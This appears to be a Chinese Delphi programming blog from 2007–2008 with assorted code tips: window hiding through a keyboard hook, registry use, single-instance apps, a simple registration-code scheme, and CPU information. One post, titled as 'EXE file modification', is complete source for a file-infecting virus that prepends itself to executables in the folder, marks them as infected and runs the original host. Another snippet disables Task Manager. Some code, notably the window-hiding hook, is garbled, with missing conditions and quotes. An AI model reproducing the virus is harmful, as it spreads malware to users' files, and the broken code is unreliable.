|
Delphi隐藏当前进程
主要需要解决两个问题，即隐藏窗口和设定热键。
一. 隐藏窗口
通过API函数GETACTIVEWINDOW获取当前窗口；函数ShowWindow(HWND,nCmdShow)的参数nCmdShow取SW_HIDE时将之隐藏，取SW_SHOW时将之显示。例如：showwindow(getactivewindow,sw_hide)。隐藏好窗体后，须记住窗体句柄以便恢复。
二. 键盘监控
为了实现键盘监控须用到钩子。
以下是程序的源文件：
---HKHide.pas---
unit HKHide;
interface
uses
Windows, Messages, sysutils;
var
hNextHookHide: HHook;
HideSaveExit: Pointer;
hbefore:longint;
function KeyboardHookHandler(iCode: Integer;wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
function EnableHideHook: BOOL; export;
function DisableHideHook: BOOL; export;
procedure HideHookExit; far;
implementation
function KeyboardHookHandler(iCode: Integer;wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
const _KeyPressMask = $80000000;
var
f:textfile;
temp:string;
begin
Result := 0;
If iCode < 0 Then
begin
Result := CallNextHookEx(hNextHookHide, iCode, wParam, lParam);
Exit;
end;
// 侦测 Ctrl + Alt + F12 组合键
if ((lParam and _KeyPressMask) = 0) //按下时生效
and (GetKeyState(vk_Control) < 0)
and (getkeystate(vk_menu)<0) and (wParam = vk_F12) then
begin
Result := 1;
//文件不存在则创建
if not fileexists(c:\test.txt) then
begin
assignfile(f,c:\test.txt);
rewrite(f);
writeln(f,0);
closefile(f);
end
else begin
assignfile(f,c:\test.txt);
reset(f);
readln(f,temp);
hbefore:=strtoint(temp);
begin
hbefore:=getactivewindow;
temp:=inttostr(hbefore);
rewrite(f);
writeln(f,temp);
closefile(f);
ShowWindow(hbefore, SW_HIDE);
end
else begin
showwindow(hbefore,sw_show);
rewrite(f);
writeln(f,0);
closefile(f);
end;
end;
end;
end;
function EnableHideHook: BOOL; export;
begin
Result := False;
if hNextHookHide <> 0 then Exit;
// 挂上 WH_KEYBOARD 这型的 HOOK, 同时, 传回值必须保留下
// 来, 免得 HOOK 呼叫链结断掉
hNextHookHide := SetWindowsHookEx(WH_KEYBOARD,
KeyboardHookHandler,HInstance,0);
Result := hNextHookHide <> 0;
end;
function DisableHideHook: BOOL; export;
begin
if hNextHookHide <> 0 then
begin
Result:=True;
UnhookWindowshookEx(hNextHookHide); // 解除 Keyboard Hook
hNextHookHide:=0;
end
else
Result:=False;
end;
procedure HideHookExit;
begin
// 如果忘了解除 HOOK, 自动代理解除的动作
if hNextHookHide <> 0 then DisableHideHook;
ExitProc := HideSaveExit;
end;
end.
---HKPHide.dpr---
library HKPHide;
uses
HKHide in HKHide.pas;
exports
EnableHideHook,
DisableHideHook;
begin
hNextHookHide := 0;
hbefore:=0;
HideSaveExit := ExitProc;
ExitProc := @HideHookExit;
end.
文件制作好后选Build All编译成HKPHide.dll。
新建一个工程Project1
---Unit1.pas---
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function EnableHideHook: BOOL; external HKPHide.DLL;
function DisableHideHook: BOOL; external HKPHide.DLL;
procedure TForm1.Button1Click(Sender: TObject);
begin
if EnableHideHook then
ShowMessage(HotKey Testing...);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if DisableHideHook then
ShowMessage(HotKey Testing..., DONE!!);
end;
end.
运行程序按Button1后启动钩子，这时运行其他程序，按Ctrl+Alt+F12可将之隐藏，再按一下则恢复。以下程序在Delphi 4下通过。
|
| 2007-8-11 13:27:34 Delphizhou 发表评论。 |
|
屏蔽“任务管理器”
//适用于Win NT/2K/XP,
//参数Key为True,屏蔽“任务管理器”；为False,“任务管理器”可用
//使用方法：
//DisableTaskmgr(True);
procedure DisableTaskmgr(Key: Boolean);
Var
Reg:TRegistry;
Begin
Reg:=TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey(‘\Software\Microsoft\Windows\CurrentVersion\Policies\System‘, True) then
begin
if Key then
Reg.WriteString(‘DisableTaskMgr‘,‘1‘)
else
Reg.WriteInteger(‘DisableTaskMgr‘,0);
Reg.CloseKey;
end;
except
Reg.Free;
end;
end;
|
| 2007-8-11 13:30:53 Delphizhou 发表评论。 |
|
利用Delphi和金山词霸制作批量单词翻译[轉]
http://www.cnill.com/jibing/lunwen/process/200702/lunwen_51120.shtml
最近本人正在准备CET-4的考试，从同学那得到了一份“四级高频词”的doc文档，该文档只有单词，并没有音标和解释，如果进行人工一个一个翻译很是费事，因此本人利用Delphi和金山词霸2002特别制作了一个单词批量翻译，并且可以将翻译结果直接保存为RTF文件的程序。其程序界面如下：
原理分析：
利用“金山词霸2002”的翻译功能，进行单词的翻译，利用Delphi获取“金山词霸2002”中翻译的结果的控件的句柄，利用粘贴复制功能，即可以获得翻译的结果了。
API函数说明：
HWND FindWindow(
LPCTSTR lpClassName, // 欲搜索的窗体的类名
LPCTSTR lpWindowName // 欲搜索的窗体的标题名称
);//查找与指定条件相符的第一个子窗口
HWND FindWindowEx(
HWND hwndParent, // 在其中查找子的父窗口的句柄
HWND hwndChildAfter, // 从这个窗体后开始查找
LPCTSTR lpszClass, // 欲搜索的窗体的类名
LPCTSTR lpszWindow // 欲搜索的窗体的标题名称
);//在指定窗体列表中查找与指定条件相符的第一个子窗口
BOOL ShowWindow(
HWND hWnd, // 窗体的句柄
int nCmdShow // 窗体的显示方式
);//指定窗口的可见性
BOOL BringWindowToTop(
HWND hWnd // 窗体的句柄
);//将指定的窗口带至窗口列表的顶部
BOOL SetForegroundWindow(
HWND hWnd //窗体的句柄
);//将窗口设为系统的前台程序
HWND SetFocus(
HWND hWnd // 聚焦的窗体的句柄
);//将窗口聚焦
VOID keybd_event(
BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);//模拟按键的产生
这里提供了基本Api的声明，具体的使用方法，你可以其它相关资料。
具体分析：
首先利用Spy++工具，对“金山词霸2002”进行分析，分析结果如下：
金山词霸2002的窗体的名称是：金山词霸 2002
金山词霸2002的单词输入控件类名：Edit (属于Combobox的子窗体)
金山词霸2002的翻译结果控件类名：XDICT_ExplainView
程序界面：
一个Timer控件(Timer1，其间隔时间为3秒)，一个Memo控件(MList)，两个RichEdit控件(RTrans，RConv)，具体的代码如下：
--------------------------------------------------------------------------------
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,Forms, Dialogs, StdCtrls, ComCtrls, Clipbrd,Buttons, ExtCtrls, Menus;
type
TForm1 = class(TForm)
MList: TMemo;
RTrans: TRichEdit;
Button1: TButton;
Timer1: TTimer;
Button2: TButton;
RConv: TRichEdit;
Button3: TButton;
od: TOpenDialog;
RichEdit3: TRichEdit;
MainMenu1: TMainMenu;
F1: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
C1: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
RTF1: TMenuItem;
Panel1: TPanel;
ProgressBar1: TProgressBar;
Splitter1: TSplitter;
Splitter2: TSplitter;
E1: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
Edit1: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure N3Click(Sender: TObject);
procedure N6Click(Sender: TObject);
procedure N8Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
i:integer=0;//声明一个全局变量，用于单词的记数
implementation
{$R *.dfm}
//开始转换事件
procedure TForm1.Button1Click(Sender: TObject);
begin
RTrans.Clear;//清空转换区
RConv.Clear;
timer1.Interval:=strtoint(edit1.Text)*1000;//设置间隔时间
timer1.Enabled :=true;//
progressbar1.Position:=0;//设置进度条状态
i:=0;//初始化变量，用于记数
progressbar1.Max:=MList.Lines.Count;
end;
procedure TForm1.Timer
|
| 2007-8-11 13:34:21 Delphizhou 发表评论。 |
|
通过指点操作获得窗口句柄
我用VB的sendkeys编写了一个向其他程序模拟键盘发送字符的工具，因VB编的程序体积太大，
我想用Delphi重写，使用SendMessage等API函数，但我想找到一个用鼠标点一下其他进程的
窗口便可获得该窗口的线程id和窗口句柄的方法，请指点一下。（使用findwindow获得窗口
句柄要输入窗口标题，不好。）
回答:
首先需要说明要在Delphi 实现Sendkeys功能，应该使用Journal Playback钩子(hook)函数，
而不是使用SendMessage函数。下面我们来介绍如何利用鼠标移动让用户选择窗口，而程序
进一步得到窗口的句柄。Windows API中有一个函数WindowFromPoint，只要知道鼠标的位置
(屏幕坐标)，就可以得到该位置所属的窗口的句柄，有了句柄，就可以利用其他的函数得到
更多的信息。如果鼠标在程序的窗口中移动，可以得到MouseMove事件。要想鼠标在窗口外部
移动时，仍能得到鼠标事件，必须使用SetCapture函数。下面这个例子就是利用这两个函数
来实现你所要求的功能。
type
TForm1 = class(TForm)
…………
public
procedure InvertTracker(hwndDest : Integer);
end;
…………
var
Form1: TForm1;
mlngHwndCaptured: Integer;
hWndLast: Integer;
…………
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var pt : TPoint;
begin
if GetCapture() <> 0 then // 处于捕捉状态
begin
pt.X := X;
pt.Y := Y;
ClientToScreen(pt); // 获得鼠标的屏幕位置
// 获得窗口句柄
mlngHwndCaptured := WindowFromPoint(pt);
if hWndLast <> mlngHwndCaptured then
begin
if hWndLast <> 0 then // 使窗口边框加粗
InvertTracker(hWndLast);
InvertTracker(mlngHwndCaptured);
hWndLast := mlngHwndCaptured;
end
end;
// 显示坐标和窗口句柄
Caption := ‘X: ‘ + IntToStr(x) + ‘, Y: ‘ + IntToStr(y)
+ ‘, hWnd: ‘ + IntToStr(mlngHwndCaptured);
end;
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if SetCapture(handle) <> 0 then // 开始捕捉
Cursor := crUpArrow;
end;
procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var strCaption: PChar;
begin
If mlngHwndCaptured <> 0 Then
begin // 获得窗口标题
strCaption := StrAlloc(1000);
GetWindowText(mlngHwndCaptured, strCaption, 1000);
Caption := StrPas(strCaption);
InvalidateRect(0, PRect(0), True);
mlngHwndCaptured := 0;
Cursor := crDefault;
ReleaseCapture;
StrDispose(strCaption);
hWndLast := 0;
end
end;
// 使窗口边框变粗
procedure TForm1.InvertTracker(hwndDest: Integer);
var
hdcDest, hPen, hOldPen, hOldBrush : Integer;
cxBorder, cxFrame, cyFrame, cxScreen, cyScreen, cr : Integer;
rc : TRect;
Const NULL_BRUSH = 5;
Const R2_NOT = 6;
Const PS_INSIDEFRAME = 6;
begin
cxScreen := GetSystemMetrics(0);
cyScreen := GetSystemMetrics(1);
cxBorder := GetSystemMetrics(5);
cxFrame := GetSystemMetrics(32);
cyFrame := GetSystemMetrics(33);
GetWindowRect(hwndDest, rc);
hdcDest := GetWindowDC(hwndDest);
SetROP2(hdcDest, R2_NOT);
cr := clBlack;
hPen := CreatePen(PS_INSIDEFRAME, 3 * cxBorder, cr);
hOldPen := SelectObject(hdcDest, hPen);
hOldBrush := SelectObject(hdcDest, GetStockObject(NULL_BRUSH));
Rectangle(hdcDest, 0, 0, rc.Right - rc.Left, rc.Bottom - rc.Top);
SelectObject(hdcDest, hOldBrush);
SelectObject(hdcDest, hOldPen);
ReleaseDC(hwndDest, hdcDest);
DeleteObject(hPen);
end;
// 将窗口移动到左上角，并减少窗口高度，便于操作
procedure TForm1.FormCreate(Sender: TObject);
begin
Left := 0;
Top :=0;
ClientHeight := 76;
end;
|
| 2007-8-11 13:51:10 Delphizhou 发表评论。 |
|
Exe文件的修改
//headerprj.dpr
program headerprj;
uses
Windows,Classes,SysUtils,Graphics,ShellAPI;
const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG=‘Infected By SOJ‘;
ID=$66666666;
{$R *.RES}
var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;
//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}
function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline[i]<>chr(0) do
begin
if cmdline[i]<>‘"‘ then
begin
myname[j]:=cmdline[i];
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}
function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,‘PQR‘,0,@tmpName);
Result:=StrPas(@tmpName);
end;{GetTempFullName}
procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;
procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;
function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename=‘headerprj.exe‘ then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead);
srcStream.Seek(-4,2);
srcStream.Read(iID,4);
if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free;
try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;
srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create;
CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);
dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4);
finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;
//主程序开始
begin
Counter:=2;
if FindFirst(‘*.exe‘,faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)=‘headerprj.exe‘ then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,‘.‘,si,pi);
end.
|
| 2007-8-25 14:23:33 Delphizhou 发表评论。 |
|
ini文件连接 Access, SQL SERVER 2000 数据库
如果是access数据库
//连接access,我的数据库为csmis.mdb
procedure Tcs_yh_login.FormActivate(Sender: TObject);
var lj:string;
sql:string;
begin
lj:=ExtractFilePath(Application.ExeName);
sql:=‘Provider=Microsoft.Jet.OLEDB.4.0;User ID=Admin;‘+
‘Data Source=‘+lj+‘csmis.mdb;Mode=Share Deny None;‘+
‘Extended Properties="";Persist Security Info=False;‘+
‘Jet OLEDB:System database="";Jet OLEDB:Registry Path="";‘+
‘Jet OLEDB:Database Password="";Jet OLEDB:Engine Type=5;‘+
‘Jet OLEDB:Database Locking Mode=1;‘+
‘Jet OLEDB:Global Partial Bulk Ops=2;‘+
‘Jet OLEDB:Global Bulk Transactions=1;‘+
‘Jet OLEDB:New Database Password="";‘+
‘Jet OLEDB:Create System Database=False;‘+
‘Jet OLEDB:Encrypt Database=False;‘+
// ‘Jet OLEDB:Don"‘+‘t Copy Locale on Compact=False;‘+
‘Jet OLEDB:Compact Without Replica Repair=False;‘+
‘Jet OLEDB:SFP=False‘;
cs_data.csconnect.connectionstring:=sql;
cs_data.csconnect.connected:=false;
cs_data.csconnect.connected:=true;
end;
如果连接sql,读取ini文件
读取INI,下面的例子或许对你有帮助。
ini文件中这样
[database]
Provider=SQLOLEDB.1
Persist Security Info=False
username=sa
databasename=rsgl
servername=jw
procedure Trsgl_login.FormActivate(Sender: TObject);
var i:integer;
ini: TIniFile;
ServerName,S1: string;
UserName, PWD: string;
DatabaseName1:string;
lj:string;
begin
lj:=ExtractFilePath(paramstr(0))+‘lmd.ini‘;
ini := TIniFile.Create(lj);
try
UserName := ini.ReadString(‘Database‘, ‘UserName‘, ‘‘);
Pwd := ini.ReadString(‘Database‘, ‘Password‘, ‘‘);
ServerName := ini.ReadString(‘Database‘, ‘ServerName‘, ‘‘);
DatabaseName1:=ini.ReadString(‘Database‘,‘DatabaseName‘,‘‘);
finally
ini.Free;
end;
rsgl_data.rsgl_connect.Connected := false;
try
S1:=‘Provider=SQLOLEDB.1;‘+
‘Password=‘+PWD+‘;‘+
‘Persist Security Info=False;‘+
‘User ID=‘+UserName+‘;‘+
‘Initial Catalog=‘+DatabaseName1+‘;‘+
‘Data Source=‘+ServerName+‘;‘;
rsgl_data.rsgl_connect.ConnectionString:=S1;
rsgl_data.rsgl_connect.Connected := true;
except
showmessage(‘连接数据库服务器异常!‘);
end;
end;
|
| 2007-10-19 23:09:33 Delphizhou 发表评论。 |
|
按enter键实现tab键的效果
可以在DBGrid1KeyDown事件里面写
procedure TForm1.DBGrid1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=13 then
keybd_event(9,mapvirtualkey(9,0),0,0);
end;
|
| 2007-11-12 13:34:40 Delphizhou 发表评论。 |
|
作者: 轻舞肥羊
标题: "防止同时出现多个应用程序实例"之改进
关键字: 多实例;消息广播
分类: 开发技巧
密级: 公开
在《Delphi 5 开发人员指南》中第13章中有一篇"防止同时出现多个应用程序实例",
代码中给出了一个MultInst.pas单元,工程引用此单元就能防止同时出现多个实例,
但实际应用中发现,如果应用程序并没有最小化,第二个实例不能把第一个实例提到最前.
下面是我改写的MultInst.pas单元,能解决这个小问题.
//==============================================================================
// Unit Name: MultInst
// Author : ysai
// Date : 2003-05-20
// Purpose : 解决应用程序多实例问题
// History :
//==============================================================================
//==============================================================================
// 工作流程
// 程序运行先取代原有向所有消息处理过程,然后广播一个消息.
// 如果有其它实例运行,收到广播消息会回发消息给发送程序,并传回它自己的句柄
// 发送程序接收到此消息,激活收到消息的程序,然后关闭自己
//==============================================================================
unit MultInst;
interface
uses
Windows ,Messages, SysUtils, Classes, Forms;
implementation
const
STR_UNIQUE = ‘{2BE6D96E-827F-4BF9-B33E-8740412CDE96}‘;
MI_ACTIVEAPP = 1; //激活应用程序
MI_GETHANDLE = 2; //取得句柄
var
iMessageID : Integer;
OldWProc : TFNWndProc;
MutHandle : THandle;
BSMRecipients : DWORD;
function NewWndProc(Handle: HWND; Msg: Integer; wParam, lParam: Longint):
Longint; stdcall;
begin
Result := 0;
if Msg = iMessageID then
begin
case wParam of
MI_ACTIVEAPP: //激活应用程序
if lParam<>0 then
begin
//收到消息的激活前一个实例
//为什么要在另一个程序中激活?
//因为在同一个进程中SetForegroundWindow并不能把窗体提到最前
if IsIconic(lParam) then
OpenIcon(lParam)
else
SetForegroundWindow(lParam);
//终止本实例
Application.Terminate;
end;
MI_GETHANDLE: //取得程序句柄
begin
PostMessage(HWND(lParam), iMessageID, MI_ACTIVEAPP,
Application.Handle);
end;
end;
end
else
Result := CallWindowProc(OldWProc, Handle, Msg, wParam, lParam);
end;
procedure InitInstance;
begin
//取代应用程序的消息处理
OldWProc := TFNWndProc(SetWindowLong(Application.Handle, GWL_WNDPROC,
Longint(@NewWndProc)));
//打开互斥对象
MutHandle := OpenMutex(MUTEX_ALL_ACCESS, False, STR_UNIQUE);
if MutHandle = 0 then
begin
//建立互斥对象
MutHandle := CreateMutex(nil, False, STR_UNIQUE);
end
else begin
Application.ShowMainForm := False;
//已经有程序实例,广播消息取得实例句柄
BSMRecipients := BSM_APPLICATIONS;
BroadCastSystemMessage(BSF_IGNORECURRENTTASK or BSF_POSTMESSAGE,
@BSMRecipients, iMessageID, MI_GETHANDLE,Application.Handle);
end;
end;
initialization
//注册消息
iMessageID := RegisterWindowMessage(STR_UNIQUE);
InitInstance;
finalization
//还原消息处理过程
if OldWProc <> Nil then
SetWindowLong(Application.Handle, GWL_WNDPROC, LongInt(OldWProc));
//关闭互斥对象
if MutHandle <> 0 then CloseHandle(MutHandle);
end.
|
| 2007-11-14 23:10:12 Delphizhou 发表评论。 |
|
DELPHI程序注册码设计
关键字: 注册码
在DELPHI下新建一工程,放置Edit1,Edit2,Label1,Label2,Button1组件.具体代码如下:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,Registry;//在此加上Registry以便调用注册表.
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
Function Check():Boolean;
Procedure CheckReg();
Procedure CreateReg();
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
PName:string; //全局变量,存放用户名和注册码.
PPass:integer;
implementation
{$R *.DFM}
Procedure TForm1.CreateReg();//创建用户信息.
var Rego:TRegistry;
begin
Rego:=TRegistry.Create;
Rego.RootKey:=HKEY_USERS;
rego.OpenKey(‘.DEFAULT\Software\AngelSoft\Demo‘,True);//键名为AngelSoft\Demo,可自行修改.
Rego.WriteString(‘Name‘,PName);//写入用户名.
Rego.WriteInteger(‘Pass‘,PPass);//写入注册码.
Rego.Free;
ShowMessage(‘程序已经注册,谢谢!‘);
CheckReg; //刷新.
end;
Procedure TForm1.CheckReg();//检查程序是否在注册表中注册.
var Rego:TRegistry;
begin
Rego:=TRegistry.Create;
Rego.RootKey:=HKEY_USERS;
IF Rego.OpenKey(‘.DEFAULT\Software\AngelSoft\Demo‘,False) then
begin
Form1.Caption:=‘软件已经注册‘;
Button1.Enabled:=false;
Label1.Caption:=rego.ReadString(‘Name‘);//读用户名.
Label2.Caption:=IntToStr(Rego.ReadInteger(‘Pass‘)); //读注册码.
rego.Free;
end
else Form1.Caption:=‘软件未注册,请注册‘;
end;
Function TForm1.Check():Boolean;//检查注册码是否正确.
var
Temp:pchar;
Name:string;
c:char;
i,Long,Pass:integer;
begin
Pass:=0;
Name:=edit1.Text;
long:=length(Name);
for i:=1 to Long do
begin
temp:=pchar(copy(Name,i,1));
c:=temp^;
Pass:=Pass+ord(c); //将用户名每个字符转换为ASCII码后相加.
end;
if StrToInt(Edit2.Text)=pass then
begin
Result:=True;
PName:=Name;
PPass:=Pass;
end
else Result:=False;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Check then CreateReg
else ShowMessage(‘注册码不正确,无法注册‘);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
CheckReg;
end;
end.
<注册器>
在DELPHI下新建一工程,放置Edit1,Edit2,Button1组件.具体代码如下:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
Temp:pchar;
Name:string;
c:char;
i,Long,Pass:integer;
begin
Pass:=0;
Name:=edit1.Text;
long:=length(Name);
for i:=1 to Long do
begin
temp:=pchar(copy(Name,i,1));
c:=temp^;
Pass:=Pass+ord(c);
end;
edit2.text:=IntToStr(pass);
end;
end.
|
| 2007-12-22 13:03:35 Delphizhou 发表评论。 |
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
在Delphi程序中操作注册表
32位Delphi程序中可利用TRegistry对象来存取注册表文件中的信息。
一、创建和释放TRegistry对象
1.创建TRegistry对象。为了操作注册表，要创建一个TRegistry对象：ARegistry := TRegistry.Create；
2.释放TRegistry对象。对注册表操作结束后，应释放TRegistry对象所占内存：ARegistry.Destroy。
二、指定要操作的键
操作注册表时，首先应指定操作的主键：先给属性RootKey赋值以指定根键，然后用方法OpenKey来指定要操作的主键名。
1.指定根键(RootKey)。
根键是注册表的入口，也注册表信息的分类，其值可为：
HKEY—CLASSES—ROOT：存储整个系统对象类信息，如ActiveX对象注册、文件关联等信息。
HKEY—CURRENT—USER：存储当前用户的配置信息。为属性RootKey的默认值。
HKEY—LOCAL—MACHINE：存储当前系统的软硬件配置信息。应用程序自己的信息可以存储在该根键下。
HKEY—USERS：存储所有用户通用的配置信息。
还可以是HKEY—CURRENT—CONFIG、HKEY—DYN—DATA。
2.指定要操作的主键。
Function OpenKey(const Key: string; CanCreate: Boolean): Boolean;
Key：主键名，是键名全名中除去根键的部分，如Software\Borland\Delphi。
CanCreate：在指定的主键名不存在时，是否允许创建该主键，True表示允许。
返回值True表示操作成功。
3.关闭当前主键。
在读取或存储信息之后，应及时将关闭当前主键：procedure CloseKey。
三、从注册表中读取信息
Read系列方法从注册表读取指定的信息（字符串、二进制和十六进制），并转换为指定的类型。
1.Read系列方法。
function ReadString(const Name: string): string;
读取一个字符串值，Name为字符串名称。
function ReadInteger(const Name: string): Integer;
读取一个整数值，Name为整数名称。
function ReadBinaryData(const Name: string; var Buffer; BufSize: Integer):Integer;
读取二进制值，Name为二进制值名称，Buffer为接收缓冲区，BufSize为缓冲区大小，返回为实际读取的字节数。
其它方法还有：ReadBool、ReadCurrency、ReadDate、ReadDateTime、ReadFloat、ReadTime。
2.读取信息一例（显示Windows的版本）。
在HKEY—LOCAL—MACHINE\Software\Microsoft\Windows\CurrentVersion下，有三个字符串值Version、VersionNumber和SubVersionNumber，用于记录当前Windows的版本号。
{请在Uses中包含Registry单元}
procedure TForm1.Button1Click(Sender:TObject);
var
ARegistry : TRegistry;
begin
ARegistry := TRegistry.Create;
//建立一个TRegistry实例
with ARegistry do
begin
RootKey := HKEY—LOCAL—MACHINE;//指定根键为HKEY—LOCAL—MACHINE
//打开主键Software\Microsoft\Windows\CurrentVersion
if OpenKey( ′Software\Microsoft\Windows\CurrentVersion′,false ) then
begin
memo1.lines.add(‘Windows版本：′＋ ReadString(′Version′));
memo1.lines.add(‘Windows版本号：′＋ ReadString(′VersionNumber′));
memo1.lines.add(′Windows子版本号：′＋ ReadString(′SubVersionNumber′));
end;
CloseKey;//关闭主键
Destroy;//释放内存
end;
end;
四、向注册表中写入信息
Write系列方法将信息转化为指定的类型，并写入注册表。
1.Write系列方法。
procedure WriteString(const Name, Value: string);
写入一个字符串值，Name为字符串的名称，Value为字符串值。
procedure WriteInteger(const Name: string; Value: Integer);
写入一个整数值。
procedure WriteBinaryData(const Name: string; var Buffer; BufSize: Integer);
写入二进制值，Name为二进制值的名称，Buffer为包含二进制值的缓冲区，BufSize为缓冲区大小。
其它方法还有：WriteBool、WriteCurrency、WriteDate、WriteDateTime、WriteFloat、WriteTime。
2.写入信息一例。
下面程序使Delphi随Windows启动而自动运行。
var
ARegistry : TRegistry;
begin
ARegistry := TRegistry.Create;
//建立一个TRegistry实例
with ARegistry do
begin
RootKey:=HKEY—LOCAL—MACHINE;
if OpenKey(′Software\Microsoft\Windows\CurrentV
|
| 2008-1-10 13:49:07 Delphizhou 发表评论。 |
|
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
获取 CPU 序列号
TCPUID = array[1..4] of longint;
function GetCPUID: TCPUID;
asm
PUSH EBX
PUSH EDI
MOV EDI,EAX // @Result
MOV EAX,1
DW $A20F // CPUID Command
// 依次取出四位序号
STOSD
MOV EAX,EBX
STOSD
MOV EAX,ECX
STOSD
MOV EAX,EDX
STOSD
POP EDI
POP EBX
end;
|
| 2008-1-10 13:51:07 Delphizhou 发表评论。 |
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
获取 CPU 使用率的单元
interface
uses
Windows, SysUtils;
// Call CollectCPUData to refresh information about CPU usage
procedure CollectCPUData;
// Call it to obtain the number of CPU‘s in the system
function GetCPUCount: integer;
// Call it to obtain the % of usage for given CPU
function GetCPUUsage(Index: integer): double;
// For Win9x only: call it to stop CPU usage monitoring and free system resources
procedure ReleaseCPUData;
implementation
type
PInt64 = ^TInt64;
TInt64 = int64;
type
TPERF_DATA_BLOCK = record
Signature: array[0..4 - 1] of WCHAR;
LittleEndian: DWORD;
Version: DWORD;
Revision: DWORD;
TotalByteLength: DWORD;
HeaderLength: DWORD;
